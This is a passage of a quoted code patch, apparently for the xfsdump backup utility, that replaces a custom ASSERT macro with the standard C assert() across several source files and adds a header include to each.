)setrlimit64( RLIMIT_STACK, &rlimit64 ); > rval = getrlimit64( RLIMIT_STACK, &rlimit64 ); > - ASSERT( ! rval ); > + assert( ! rval ); > if ( rlimit64.rlim_cur < minstacksz ) { > mlog( MLOG_NORMAL > | > @@ -2103,7 +2104,7 @@ set_rlimits( size64_t *vmszp ) > rlimit64.rlim_cur = minstacksz; > ( void )setrlimit64( RLIMIT_STACK, &rlimit64 ); > rval = getrlimit64( RLIMIT_STACK, &rlimit64 ); > - ASSERT( ! rval ); > + assert( ! rval ); > if ( rlimit64.rlim_cur < minstacksz ) { > mlog( MLOG_NORMAL > | > @@ -2131,7 +2132,7 @@ set_rlimits( size64_t *vmszp ) > rlimit64.rlim_cur = maxstacksz; > ( void )setrlimit64( RLIMIT_STACK, &rlimit64 ); > rval = getrlimit64( RLIMIT_STACK, &rlimit64 ); > - ASSERT( ! rval ); > + assert( ! rval ); > if ( rlimit64.rlim_cur > maxstacksz ) { > mlog( MLOG_NORMAL > | > @@ -2152,14 +2153,14 @@ set_rlimits( size64_t *vmszp ) > rlimit64.rlim_max ); > > rval = getrlimit64( RLIMIT_DATA, &rlimit64 ); > - ASSERT( ! rval ); > + assert( ! rval ); > mlog( MLOG_NITTY | MLOG_NOLOCK | MLOG_PROC, > "RLIMIT_DATA org cur 0x%llx max 0x%llx\n", > rlimit64.rlim_cur, > rlimit64.rlim_max ); > > rval = getrlimit64( RLIMIT_FSIZE, &rlimit64 ); > - ASSERT( ! rval ); > + assert( ! rval ); > mlog( MLOG_NITTY | MLOG_NOLOCK | MLOG_PROC, > "RLIMIT_FSIZE org cur 0x%llx max 0x%llx\n", > rlimit64.rlim_cur, > @@ -2169,14 +2170,14 @@ set_rlimits( size64_t *vmszp ) > rlimit64.rlim_cur = RLIM64_INFINITY; > ( void )setrlimit64( RLIMIT_FSIZE, &rlimit64 ); > rval = getrlimit64( RLIMIT_FSIZE, &rlimit64 ); > - ASSERT( ! rval ); > + assert( ! rval ); > mlog( MLOG_NITTY | MLOG_NOLOCK | MLOG_PROC, > "RLIMIT_FSIZE now cur 0x%llx max 0x%llx\n", > rlimit64.rlim_cur, > rlimit64.rlim_max ); > > rval = getrlimit64( RLIMIT_CPU, &rlimit64 ); > - ASSERT( ! rval ); > + assert( ! rval ); > mlog( MLOG_NITTY | MLOG_NOLOCK | MLOG_PROC, > "RLIMIT_CPU cur 0x%llx max 0x%llx\n", > rlimit64.rlim_cur, > @@ -2184,7 +2185,7 @@ set_rlimits( size64_t *vmszp ) > rlimit64.rlim_cur = rlimit64.rlim_max; > ( void )setrlimit64( RLIMIT_CPU, &rlimit64 ); > rval = getrlimit64( RLIMIT_CPU, &rlimit64 ); > - ASSERT( ! rval ); > + assert( ! rval ); > mlog( MLOG_NITTY | MLOG_NOLOCK | MLOG_PROC, > "RLIMIT_CPU now cur 0x%llx max 0x%llx\n", > rlimit64.rlim_cur, > diff --git a/common/media.c b/common/media.c > index 4ad7776..53b94d1 100644 > --- a/common/media.c > +++ b/common/media.c > @@ -26,6 +26,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "util.h" > @@ -91,8 +92,8 @@ media_create( int argc, char *argv[ ], drive_strategy_t *dsp ) > > /* sanity check asserts > */ > - ASSERT( sizeof( media_hdr_t ) == MEDIA_HDR_SZ ); > - ASSERT( MEDIA_MARKLOG_SZ == sizeof( media_marklog_t )); > + assert( sizeof( media_hdr_t ) == MEDIA_HDR_SZ ); > + assert( MEDIA_MARKLOG_SZ == sizeof( media_marklog_t )); > > /* scan the command line for a media label > */ > @@ -143,7 +144,7 @@ media_create( int argc, char *argv[ ], drive_strategy_t *dsp ) > */ > mediacnt = dsp->ds_drivecnt; > mediapp = ( media_t ** )calloc( mediacnt, sizeof( media_t * )); > - ASSERT( mediapp ); > + assert( mediapp ); > for ( mediaix = 0 ; mediaix < mediacnt ; mediaix++ ) { > mediapp[ mediaix ] = media_alloc( dsp->ds_drivep[ mediaix ], > medialabel ); > @@ -266,7 +267,7 @@ media_alloc( drive_t *drivep, > size_t mwhdrsz; > > mediap = ( media_t * )calloc( 1, sizeof( media_t )); > - ASSERT( mediap ); > + assert( mediap ); > > grhdrp = 0; > gwhdrp = 0; > @@ -279,12 +280,12 @@ media_alloc( drive_t *drivep, > &gwhdrp, > ( char ** )&mwhdrp, > &mwhdrsz ); > - ASSERT( grhdrp ); > - ASSERT( gwhdrp ); > - ASSERT( mrhdrp ); > - ASSERT( mwhdrp ); > - ASSERT( mrhdrsz == MEDIA_HDR_SZ ); > - ASSERT( mwhdrsz == MEDIA_HDR_SZ ); > + assert( grhdrp ); > + assert( gwhdrp ); > + assert( mrhdrp ); > + assert( mwhdrp ); > + assert( mrhdrsz == MEDIA_HDR_SZ ); > + assert( mwhdrsz == MEDIA_HDR_SZ ); > > mediap->m_greadhdrp = grhdrp; > mediap->m_gwritehdrp = gwhdrp; > diff --git a/common/mlog.c b/common/mlog.c > index b0135b9..c546036 100644 > --- a/common/mlog.c > +++ b/common/mlog.c > @@ -27,6 +27,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "qlock.h" > @@ -157,9 +158,9 @@ mlog_init1( intgen_t argc, char *argv[ ] ) > vsymcnt = sizeof( mlog_sym ) / sizeof( mlog_sym[ 0 ] ); > suboptstrs = ( char ** )calloc( MLOG_SS_CNT + vsymcnt + 1, > sizeof( char * )); > - ASSERT( suboptstrs ); > + assert( suboptstrs ); > for ( soix = 0 ; soix < MLOG_SS_CNT ; soix++ ) { > - ASSERT( strlen( mlog_ss_names[ soix ] ) <= MLOG_SS_NAME_MAX ); > + assert( strlen( mlog_ss_names[ soix ] ) <= MLOG_SS_NAME_MAX ); > /* unrelated, but opportunity to chk */ > suboptstrs[ soix ] = mlog_ss_names[ soix ]; > } > @@ -210,7 +211,7 @@ mlog_init1( intgen_t argc, char *argv[ ] ) > usage( ); > return BOOL_FALSE; > } > - ASSERT( ( ix_t )suboptix > + assert( ( ix_t )suboptix > < > MLOG_SS_CNT + vsymcnt ); > if ( suboptix < MLOG_SS_CNT ) { > @@ -273,8 +274,8 @@ mlog_init1( intgen_t argc, char *argv[ ] ) > */ > for ( ssix = 0 ; ssix < MLOG_SS_CNT ; ssix++ ) { > if ( mlog_level_ss[ ssix ] < 0 ) { > - ASSERT( mlog_level_ss[ ssix ] == -1 ); > - ASSERT( mlog_level_ss[ MLOG_SS_GEN ] >= 0 ); > + assert( mlog_level_ss[ ssix ] == -1 ); > + assert( mlog_level_ss[ MLOG_SS_GEN ] >= 0 ); > mlog_level_ss[ ssix ] = mlog_level_ss[ MLOG_SS_GEN ]; > } > } > @@ -375,7 +376,7 @@ mlog_va( intgen_t levelarg, char *fmt, va_list args ) > level = levelarg & MLOG_LEVELMASK; > ss = ( ix_t )( ( levelarg & MLOG_SS_MASK ) >> MLOG_SS_SHIFT ); > > - ASSERT( ss < MLOG_SS_CNT ); > + assert( ss < MLOG_SS_CNT ); > if ( level > mlog_level_ss[ ss ] ) { > return; > } > @@ -402,7 +403,7 @@ mlog_va( intgen_t levelarg, char *fmt, va_list args ) > tmp->tm_hour, > tmp->tm_min, > tmp->tm_sec ); > - ASSERT( strlen( mlog_tsstr ) < sizeof( mlog_tsstr )); > + assert( strlen( mlog_tsstr ) < sizeof( mlog_tsstr )); > } else { > mlog_tsstr[ 0 ] = 0; > } > @@ -676,7 +677,7 @@ mlog_get_hint( void ) > > ok = stream_get_exit_status(pthread_self(), states, N(states), > NULL, NULL, NULL, NULL, &hint); > - ASSERT(ok); > + assert(ok); > return hint; > } > > @@ -736,7 +737,7 @@ mlog_exit_flush(void) > &exit_code, > &exit_return, > &exit_hint); > - ASSERT(ok); > + assert(ok); > > /* hint takes priority over return */ > rv = (exit_hint != RV_NONE) ? exit_hint : exit_return; > @@ -771,7 +772,7 @@ mlog_exit_flush(void) > else if (IS_INCOMPLETE(rv)) incomplete = BOOL_TRUE; > > /* if we don't have an exit code here there is a problem */ > - ASSERT(VALID_EXIT_CODE(mlog_main_exit_code)); > + assert(VALID_EXIT_CODE(mlog_main_exit_code)); > if (interrupt) status_str = "INTERRUPT"; > else if (quit) status_str = "QUIT"; > else if (incomplete) status_str = "INCOMPLETE"; > diff --git a/common/openutil.c b/common/openutil.c > index 9a88d67..c3b8d9a 100644 > --- a/common/openutil.c > +++ b/common/openutil.c > @@ -22,6 +22,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "mlog.h" > @@ -56,7 +57,7 @@ open_pathalloc( char *dirname, char *basename, pid_t pid ) > } > namelen = dirlen + 1 + strlen( basename ) + pidlen + 1; > namebuf = ( char * )calloc( 1, namelen ); > - ASSERT( namebuf ); > + assert( namebuf ); > > if ( pid ) { > ( void )snprintf( namebuf, namelen, "%s/%s.%d", dirname, basename, pid ); > diff --git a/common/path.c b/common/path.c > index ca24f6a..e40c473 100644 > --- a/common/path.c > +++ b/common/path.c > @@ -17,6 +17,7 @@ > */ > > #include > +#include > > #include "path.h" > > @@ -51,8 +52,8 @@ path_diff( char *path, char *base ) > { > char *diff; > > - ASSERT( *base == '/' ); > - ASSERT( *path == '/' ); > + assert( *base == '/' ); > + assert( *path == '/' ); > > if ( ! path_beginswith( path, base )) { > return 0; > @@ -70,7 +71,7 @@ path_diff( char *path, char *base ) > } > > diff = ( char * )calloc( 1, strlen( path ) + 1 ); > - ASSERT( diff ); > + assert( diff ); > strcpy( diff, path ); > > return diff; > @@ -102,7 +103,7 @@ path_reltoabs( char *dir, char *basedir ) > strlen( dir ) > + > 1 ); > - ASSERT( absdir ); > + assert( absdir ); > > ( void )sprintf( absdir, "%s/%s", basedir, dir ); > > @@ -127,7 +128,7 @@ path_normalize( char *path ) > char *pep; > char *npath; > > - ASSERT( path[ 0 ] == '/' ); > + assert( path[ 0 ] == '/' ); > > while ( ( pep = pem_next( pemp )) != 0 ) { > if ( ! strcmp( pep, "" )) { > @@ -163,7 +164,7 @@ static pem_t * > pem_alloc( char *path ) > { > pem_t *pemp = ( pem_t * )calloc( 1, sizeof( pem_t )); > - ASSERT( pemp ); > + assert( pemp ); > pemp->pem_head = path; > pemp->pem_next = pemp->pem_head; > > @@ -207,7 +208,7 @@ pem_next( pem_t *pemp ) > /* allocate buffer to hold the path element, incl null termination > */ > p = ( char * )malloc( len + 1 ); > - ASSERT( p ); > + assert( p ); > > /* copy the path element into the buffer > */ > @@ -230,7 +231,7 @@ static pa_t * > pa_alloc( void ) > { > pa_t *pap = ( pa_t * )calloc( 1, sizeof( pa_t )); > - ASSERT( pap ); > + assert( pap ); > > return pap; > } > @@ -250,7 +251,7 @@ pa_free( pa_t *pap ) > static void > pa_append( pa_t *pap, char *pep ) > { > - ASSERT( pap->pa_cnt < PAMAX ); > + assert( pap->pa_cnt < PAMAX ); > > pap->pa_array[ pap->pa_cnt ] = pep; > > @@ -261,12 +262,12 @@ static int > pa_peel( pa_t *pap ) > { > if ( pap->pa_cnt <= 0 ) { > - ASSERT( pap->pa_cnt == 0 ); > + assert( pap->pa_cnt == 0 ); > return 0; > } > > pap->pa_cnt--; > - ASSERT( pap->pa_array[ pap->pa_cnt ] ); > + assert( pap->pa_array[ pap->pa_cnt ] ); > free( ( void * )pap->pa_array[ pap->pa_cnt ] ); > pap->pa_array[ pap->pa_cnt ] = 0; > > @@ -292,7 +293,7 @@ pa_gen( pa_t *pap ) > retp = ( char * )malloc( sz ); > > if ( pap->pa_cnt <= 0 ) { > - ASSERT( pap->pa_cnt == 0 ); > + assert( pap->pa_cnt == 0 ); > sprintf( retp, "/" ); > } else { > p = retp; > diff --git a/common/qlock.c b/common/qlock.c > index ae8466d..d88917c 100644 > --- a/common/qlock.c > +++ b/common/qlock.c > @@ -21,6 +21,7 @@ > > #include > #include > +#include > > #include "types.h" > #include "qlock.h" > @@ -78,13 +79,13 @@ qlock_alloc( ix_t ord ) > > /* verify the ordinal is not already taken, and mark as taken > */ > - ASSERT( ! QLOCK_ORDMAP_GET( qlock_ordalloced, ord )); > + assert( ! QLOCK_ORDMAP_GET( qlock_ordalloced, ord )); > QLOCK_ORDMAP_SET( qlock_ordalloced, ord ); > > /* allocate lock memory > */ > qlockp = ( qlock_t * )calloc( 1, sizeof( qlock_t )); > - ASSERT( qlockp ); > + assert( qlockp ); > > /* initialize the mutex > */ > @@ -118,7 +119,7 @@ qlock_lock( qlockh_t qlockh ) > qlockp->ql_ord, > thread_ordmap ); > } > - ASSERT( ! QLOCK_ORDMAP_GET( thread_ordmap, qlockp->ql_ord )); > + assert( ! QLOCK_ORDMAP_GET( thread_ordmap, qlockp->ql_ord )); > > /* assert that no locks with a lesser ordinal are held by this thread > */ > @@ -129,12 +130,12 @@ qlock_lock( qlockh_t qlockh ) > qlockp->ql_ord, > thread_ordmap ); > } > - ASSERT( ! QLOCK_ORDMAP_CHK( thread_ordmap, qlockp->ql_ord )); > + assert( ! QLOCK_ORDMAP_CHK( thread_ordmap, qlockp->ql_ord )); > > /* acquire the lock > */ > rval = pthread_mutex_lock( &qlockp->ql_mutex ); > - ASSERT( !rval ); > + assert( !rval ); > > /* add ordinal to this threads ordmap > */ > @@ -150,7 +151,7 @@ qlock_unlock( qlockh_t qlockh ) > > /* verify lock is held by this thread > */ > - ASSERT( QLOCK_ORDMAP_GET( thread_ordmap, qlockp->ql_ord )); > + assert( QLOCK_ORDMAP_GET( thread_ordmap, qlockp->ql_ord )); > > /* clear lock's ord from thread's ord map > */ > @@ -159,7 +160,7 @@ qlock_unlock( qlockh_t qlockh ) > /* release the lock > */ > rval = pthread_mutex_unlock( &qlockp->ql_mutex ); > - ASSERT( ! rval ); > + assert( ! rval ); > } > > qsemh_t > @@ -171,12 +172,12 @@ qsem_alloc( ix_t cnt ) > /* allocate a semaphore > */ > semp = ( sem_t * )calloc( 1, sizeof( sem_t )); > - ASSERT( semp ); > + assert( semp ); > > /* initialize the semaphore > */ > rval = sem_init( semp, 0, cnt ); > - ASSERT( !rval ); > + assert( !rval ); > > return ( qsemh_t )semp; > } > @@ -190,7 +191,7 @@ qsem_free( qsemh_t qsemh ) > /* destroy the mutex and condition > */ > rval = sem_destroy( semp ); > - ASSERT( !rval ); > + assert( !rval ); > > /* free the semaphore > */ > @@ -206,7 +207,7 @@ qsemP( qsemh_t qsemh ) > /* "P" the semaphore > */ > rval = sem_wait( semp ); > - ASSERT( !rval ); > + assert( !rval ); > } > > void > @@ -218,7 +219,7 @@ qsemV( qsemh_t qsemh ) > /* "V" the semaphore > */ > rval = sem_post( semp ); > - ASSERT( !rval ); > + assert( !rval ); > } > > bool_t > @@ -229,7 +230,7 @@ qsemPwouldblock( qsemh_t qsemh ) > intgen_t rval; > > rval = sem_getvalue( semp, &count ); > - ASSERT( !rval ); > + assert( !rval ); > > return count <= 0 ? BOOL_TRUE : BOOL_FALSE; > } > @@ -242,7 +243,7 @@ qsemPavail( qsemh_t qsemh ) > intgen_t rval; > > rval = sem_getvalue( semp, &count ); > - ASSERT( !rval ); > + assert( !rval ); > > return count < 0 ? 0 : count; > } > diff --git a/common/ring.c b/common/ring.c > index 0d2feb0..f3de7c4 100644 > --- a/common/ring.c > +++ b/common/ring.c > @@ -27,6 +27,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "qlock.h" > @@ -56,7 +57,7 @@ ring_create( size_t ringlen, > /* allocate a ring descriptor > */ > ringp = ( ring_t * )calloc( 1, sizeof( ring_t )); > - ASSERT( ringp ); > + assert( ringp ); > ringp->r_len = ringlen; > ringp->r_clientctxp = clientctxp; > ringp->r_readfunc = readfunc; > @@ -86,7 +87,7 @@ ring_create( size_t ringlen, > /* allocate the ring messages > */ > ringp->r_msgp = ( ring_msg_t * )calloc( ringlen, sizeof( ring_msg_t )); > - ASSERT( ringp->r_msgp ); > + assert( ringp->r_msgp ); > > /* allocate the buffers and initialize the messages > */ > @@ -115,7 +116,7 @@ ring_create( size_t ringlen, > *rvalp = EPERM; > return 0; > } > - ASSERT( 0 ); > + assert( 0 ); > } > } > } > @@ -126,7 +127,7 @@ ring_create( size_t ringlen, > drive_index, > _("slave"), > ringp ); > - ASSERT( ok ); > + assert( ok ); > > return ringp; > } > @@ -138,7 +139,7 @@ ring_get( ring_t *ringp ) > > /* assert client currently holds no messages > */ > - ASSERT( ringp->r_client_cnt == 0 ); > + assert( ringp->r_client_cnt == 0 ); > > /* bump client message count and note if client needs to block > */ > @@ -157,11 +158,11 @@ ring_get( ring_t *ringp ) > > /* assert the message is where it belongs > */ > - ASSERT( msgp->rm_loc == RING_LOC_READY ); > + assert( msgp->rm_loc == RING_LOC_READY ); > > /* verify the message index has not become corrupted > */ > - ASSERT( msgp->rm_mix == ringp->r_ready_out_ix ); > + assert( msgp->rm_mix == ringp->r_ready_out_ix ); > > /* bump the output index > */ > @@ -187,15 +188,15 @@ ring_put( ring_t *ringp, ring_msg_t *msgp ) > { > /* assert the client holds exactly one message > */ > - ASSERT( ringp->r_client_cnt == 1 ); > + assert( ringp->r_client_cnt == 1 ); > > /* assert the client is returning the right message > */ > - ASSERT( msgp->rm_mix == ringp->r_active_in_ix ); > + assert( msgp->rm_mix == ringp->r_active_in_ix ); > > /* assert the message is where it belongs > */ > - ASSERT( msgp->rm_loc == RING_LOC_CLIENT ); > + assert( msgp->rm_loc == RING_LOC_CLIENT ); > > /* decrement the count of messages held by the client > */ > @@ -224,13 +225,13 @@ ring_reset( ring_t *ringp, ring_msg_t *msgp ) > /* if the client is not holding a message, get the next message > */ > if ( ringp->r_client_cnt == 0 ) { > - ASSERT( ! msgp ); > + assert( ! msgp ); > msgp = ring_get( ringp ); > - ASSERT( msgp ); > - ASSERT( ringp->r_client_cnt == 1 ); > + assert( msgp ); > + assert( ringp->r_client_cnt == 1 ); > } else { > - ASSERT( msgp ); > - ASSERT( ringp->r_client_cnt == 1 ); > + assert( msgp ); > + assert( ringp->r_client_cnt == 1 ); > } > > /* tell the slave to abort > @@ -240,24 +241,24 @@ ring_reset( ring_t *ringp, ring_msg_t *msgp ) > > /* wait for the reset to be acknowledged > */ > - ASSERT( ringp->r_client_cnt == 0 ); > + assert( ringp->r_client_cnt == 0 ); > do { > /* pull a message from the ready queue > */ > qsemP( ringp->r_ready_qsemh ); > msgp = &ringp->r_msgp[ ringp->r_ready_out_ix ]; > - ASSERT( msgp->rm_loc == RING_LOC_READY ); > + assert( msgp->rm_loc == RING_LOC_READY ); > ringp->r_ready_out_ix = ( ringp->r_ready_out_ix + 1 ) > % > ringp->r_len; > ringp->r_client_cnt++; > } while ( msgp->rm_stat != RING_STAT_RESETACK ); > - ASSERT( ringp->r_client_cnt == ringp->r_len ); > + assert( ringp->r_client_cnt == ringp->r_len ); > > /* re-initialize the ring > */ > - ASSERT( qsemPavail( ringp->r_ready_qsemh ) == 0 ); > - ASSERT( qsemPavail( ringp->r_active_qsemh ) == 0 ); > + assert( qsemPavail( ringp->r_ready_qsemh ) == 0 ); > + assert( qsemPavail( ringp->r_active_qsemh ) == 0 ); > ringp->r_ready_in_ix = 0; > ringp->r_ready_out_ix = 0; > ringp->r_active_in_ix = 0; > @@ -273,8 +274,8 @@ ring_reset( ring_t *ringp, ring_msg_t *msgp ) > msgp->rm_loc = RING_LOC_READY; > qsemV( ringp->r_ready_qsemh ); > } > - ASSERT( qsemPavail( ringp->r_ready_qsemh ) == ringp->r_len ); > - ASSERT( qsemPavail( ringp->r_active_qsemh ) == 0 ); > + assert( qsemPavail( ringp->r_ready_qsemh ) == ringp->r_len ); > + assert( qsemPavail( ringp->r_active_qsemh ) == 0 ); > } > > void > @@ -284,7 +285,7 @@ ring_destroy( ring_t *ringp ) > > /* the client must not be holding a message > */ > - ASSERT( ringp->r_client_cnt == 0 ); > + assert( ringp->r_client_cnt == 0 ); > > /* get a message > */ > @@ -302,7 +303,7 @@ ring_destroy( ring_t *ringp ) > */ > qsemP( ringp->r_ready_qsemh ); > msgp = &ringp->r_msgp[ ringp->r_ready_out_ix ]; > - ASSERT( msgp->rm_loc == RING_LOC_READY ); > + assert( msgp->rm_loc == RING_LOC_READY ); > ringp->r_ready_out_ix = ( ringp->r_ready_out_ix + 1 ) > % > ringp->r_len; > @@ -323,7 +324,7 @@ ring_slave_get( ring_t *ringp ) > > /* assert slave currently holds no messages > */ > - ASSERT( ringp->r_slave_cnt == 0 ); > + assert( ringp->r_slave_cnt == 0 ); > > /* bump slave message count and note if slave needs to block > */ > @@ -342,11 +343,11 @@ ring_slave_get( ring_t *ringp ) > > /* assert the message is where it belongs > */ > - ASSERT( msgp->rm_loc == RING_LOC_ACTIVE ); > + assert( msgp->rm_loc == RING_LOC_ACTIVE ); > > /* verify the message index has not become corrupted > */ > - ASSERT( msgp->rm_mix == ringp->r_active_out_ix ); > + assert( msgp->rm_mix == ringp->r_active_out_ix ); > > /* bump the output index > */ > @@ -372,15 +373,15 @@ ring_slave_put( ring_t *ringp, ring_msg_t *msgp ) > { > /* assert the slave holds exactly one message > */ > - ASSERT( ringp->r_slave_cnt == 1 ); > + assert( ringp->r_slave_cnt == 1 ); > > /* assert the slave is returning the right message > */ > - ASSERT( msgp->rm_mix == ringp->r_ready_in_ix ); > + assert( msgp->rm_mix == ringp->r_ready_in_ix ); > > /* assert the message is where it belongs > */ > - ASSERT( msgp->rm_loc == RING_LOC_SLAVE ); > + assert( msgp->rm_loc == RING_LOC_SLAVE ); > > /* decrement the count of messages held by the slave > */ > @@ -435,7 +436,7 @@ ring_slave_entry( void *ringctxp ) > } > if ( ! ringp->r_first_io_time ) { > ringp->r_first_io_time = time( 0 ); > - ASSERT( ringp->r_first_io_time ); > + assert( ringp->r_first_io_time ); > } > rval = ( ringp->r_readfunc )( ringp->r_clientctxp, > msgp->rm_bufp ); > @@ -455,7 +456,7 @@ ring_slave_entry( void *ringctxp ) > } > if ( ! ringp->r_first_io_time ) { > ringp->r_first_io_time = time( 0 ); > - ASSERT( ringp->r_first_io_time ); > + assert( ringp->r_first_io_time ); > } > rval = ( ringp->r_writefunc )( ringp->r_clientctxp, > msgp->rm_bufp ); > diff --git a/common/stream.c b/common/stream.c > index 6704661..0db1be3 100644 > --- a/common/stream.c > +++ b/common/stream.c > @@ -20,6 +20,7 @@ > #include > > #include > +#include > > #include "types.h" > #include "exit.h" > @@ -65,7 +66,7 @@ stream_register( pthread_t tid, intgen_t streamix ) > spm_t *p = spm; > spm_t *ep = spm + N(spm); > > - ASSERT( streamix < STREAM_SIMMAX ); > + assert( streamix < STREAM_SIMMAX ); > > lock(); > for ( ; p < ep ; p++ ) { > @@ -75,7 +76,7 @@ stream_register( pthread_t tid, intgen_t streamix ) > } > } > unlock(); > - ASSERT( p < ep ); > + assert( p < ep ); > > if ( p >= ep ) return; > > @@ -98,7 +99,7 @@ stream_dead( pthread_t tid ) > p->s_state = S_ZOMBIE; > break; > } > - ASSERT( p < ep ); > + assert( p < ep ); > } > > void > @@ -116,7 +117,7 @@ stream_free( pthread_t tid ) > } > } > unlock(); > - ASSERT( p < ep ); > + assert( p < ep ); > } > > int > @@ -126,7 +127,7 @@ stream_find_all( stream_state_t states[], int nstates, > int i, count = 0; > spm_t *p = spm; > spm_t *ep = spm + N(spm); > - ASSERT(nstates > 0 && ntids > 0); > + assert(nstates > 0 && ntids > 0); > > if (!initialized) > return 0; > @@ -150,7 +151,7 @@ stream_find( pthread_t tid, stream_state_t s[], int nstates ) > spm_t *p = spm; > spm_t *ep = spm + N(spm); > > - ASSERT(nstates > 0); > + assert(nstates > 0); > > /* note we don't lock the stream array in this function */ > for ( ; p < ep ; p++ ) > @@ -275,7 +276,7 @@ stream_cnt( void ) > size_t ixcnt; > size_t bitix; > > - ASSERT( sizeof( ixmap ) * NBBY >= STREAM_SIMMAX ); > + assert( sizeof( ixmap ) * NBBY >= STREAM_SIMMAX ); > > lock(); > for ( ; p < ep ; p++ ) { > diff --git a/common/util.c b/common/util.c > index 73f18fe..1dc6d6c 100644 > --- a/common/util.c > +++ b/common/util.c > @@ -25,6 +25,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "util.h" > @@ -46,9 +47,9 @@ write_buf( char *bufp, > while ( bufsz ) { > int rval; > > - ASSERT( bufsz > 0 ); > + assert( bufsz > 0 ); > mbufp = ( *get_write_buf_funcp )( contextp, bufsz, &mbufsz ); > - ASSERT( mbufsz <= bufsz ); > + assert( mbufsz <= bufsz ); > if ( bufp ) { > (void)memcpy( ( void * )mbufp, ( void * )bufp, mbufsz ); > } else { > @@ -86,7 +87,7 @@ read_buf( char *bufp, > if ( *statp ) { > break; > } > - ASSERT( mbufsz <= bufsz ); > + assert( mbufsz <= bufsz ); > if ( bufp ) { > ( void )memcpy( (void *)bufp, (void *)mbufp, mbufsz ); > bufp += mbufsz; > @@ -255,7 +256,7 @@ bigstat_one( intgen_t fsfd, > xfs_fsop_bulkreq_t bulkreq; > intgen_t count = 0; > > - ASSERT( ino > 0 ); > + assert( ino > 0 ); > bulkreq.lastip = (__u64 *)&ino; > bulkreq.icount = 1; > bulkreq.ubuffer = statp; > @@ -354,13 +355,13 @@ diriter( jdm_fshandle_t *fshandlep, > intgen_t cbrval; > > if ( usrgdp ) { > - ASSERT( usrgdsz >= sizeof( struct dirent ) ); > + assert( usrgdsz >= sizeof( struct dirent ) ); > gdsz = usrgdsz; > gdp = ( struct dirent * )usrgdp; > } else { > gdsz = pgsz; > gdp = ( struct dirent * )malloc( gdsz ); > - ASSERT( gdp ); > + assert( gdp ); > } > > /* open the directory > @@ -377,7 +378,7 @@ diriter( jdm_fshandle_t *fshandlep, > } > return -1; > } > - ASSERT( ( statp->bs_mode & S_IFMT ) == S_IFDIR ); > + assert( ( statp->bs_mode & S_IFMT ) == S_IFDIR ); > > /* lots of buffering done here, to achieve OS-independence. > * if proves to be to much overhead, can streamline. > @@ -389,8 +390,8 @@ diriter( jdm_fshandle_t *fshandlep, > intgen_t nread; > register size_t reclen; > > - ASSERT( scrval == 0 ); > - ASSERT( cbrval == 0 ); > + assert( scrval == 0 ); > + assert( cbrval == 0 ); > > nread = getdents_wrap( fd, (char *)gdp, gdsz ); > > @@ -421,12 +422,12 @@ diriter( jdm_fshandle_t *fshandlep, > nread > 0 > ; > nread -= ( intgen_t )reclen, > - ASSERT( nread >= 0 ), > + assert( nread >= 0 ), > p = ( struct dirent * )( ( char * )p + reclen ), > reclen = ( size_t )p->d_reclen ) { > xfs_bstat_t statbuf; > - ASSERT( scrval == 0 ); > - ASSERT( cbrval == 0 ); > + assert( scrval == 0 ); > + assert( cbrval == 0 ); > > /* skip "." and ".." > */ > @@ -538,7 +539,7 @@ fold_init( fold_t fold, char *infostr, char c ) > char *endp; > ix_t cnt; > > - ASSERT( sizeof( fold_t ) == FOLD_LEN + 1 ); > + assert( sizeof( fold_t ) == FOLD_LEN + 1 ); > > infolen = strlen( infostr ); > if ( infolen > FOLD_LEN - 4 ) { > @@ -551,23 +552,23 @@ fold_init( fold_t fold, char *infostr, char c ) > p = &fold[ 0 ]; > endp = &fold[ sizeof( fold_t ) - 1 ]; > > - ASSERT( p < endp ); > + assert( p < endp ); > *p++ = ' '; > for ( cnt = 0 ; cnt < predashlen && p < endp ; cnt++, p++ ) { > *p = c; > } > - ASSERT( p < endp ); > + assert( p < endp ); > *p++ = ' '; > - ASSERT( p < endp ); > - ASSERT( p + infolen < endp ); > + assert( p < endp ); > + assert( p + infolen < endp ); > strcpy( p, infostr ); > p += infolen; > - ASSERT( p < endp ); > + assert( p < endp ); > *p++ = ' '; > - ASSERT( p < endp ); > + assert( p < endp ); > for ( cnt = 0 ; cnt < postdashlen && p < endp ; cnt++, p++ ) { > *p = c; > } > - ASSERT( p <= endp ); > + assert( p <= endp ); > *p = 0; > } > diff --git a/dump/content.c b/dump/content.c > index 5f7b4d9..3682358 100644 > --- a/dump/content.c > +++ b/dump/content.c > @@ -30,6 +30,7 @@ > #include > #include > #include > +#include > > #ifdef linux > #include > @@ -559,18 +560,18 @@ content_init( intgen_t argc, > > /* basic sanity checks > */ > - ASSERT( sizeof( mode_t ) == MODE_SZ ); > - ASSERT( sizeof( timestruct_t ) == TIMESTRUCT_SZ ); > - ASSERT( sizeof( bstat_t ) == BSTAT_SZ ); > - ASSERT( sizeof( filehdr_t ) == FILEHDR_SZ ); > - ASSERT( sizeof( extenthdr_t ) == EXTENTHDR_SZ ); > - ASSERT( sizeof( direnthdr_t ) == DIRENTHDR_SZ ); > - ASSERT( sizeof( direnthdr_v1_t ) == DIRENTHDR_SZ ); > - ASSERT( DIRENTHDR_SZ % DIRENTHDR_ALIGN == 0 ); > - ASSERT( sizeofmember( content_hdr_t, ch_specific ) > + assert( sizeof( mode_t ) == MODE_SZ ); > + assert( sizeof( timestruct_t ) == TIMESTRUCT_SZ ); > + assert( sizeof( bstat_t ) == BSTAT_SZ ); > + assert( sizeof( filehdr_t ) == FILEHDR_SZ ); > + assert( sizeof( extenthdr_t ) == EXTENTHDR_SZ ); > + assert( sizeof( direnthdr_t ) == DIRENTHDR_SZ ); > + assert( sizeof( direnthdr_v1_t ) == DIRENTHDR_SZ ); > + assert( DIRENTHDR_SZ % DIRENTHDR_ALIGN == 0 ); > + assert( sizeofmember( content_hdr_t, ch_specific ) > >= > sizeof( content_inode_hdr_t )); > - ASSERT( sizeof( extattrhdr_t ) == EXTATTRHDR_SZ ); > + assert( sizeof( extattrhdr_t ) == EXTATTRHDR_SZ ); > > /* calculate offsets of portions of the write hdr template > */ > @@ -737,20 +738,20 @@ content_init( intgen_t argc, > */ > if ( subtreecnt ) { > subtreep = ( char ** )calloc( subtreecnt, sizeof( char * )); > - ASSERT( subtreep ); > + assert( subtreep ); > optind = 1; > opterr = 0; > subtreeix = 0; > while ( ( c = getopt( argc, argv, GETOPT_CMDSTRING )) != EOF ) { > switch ( c ) { > case 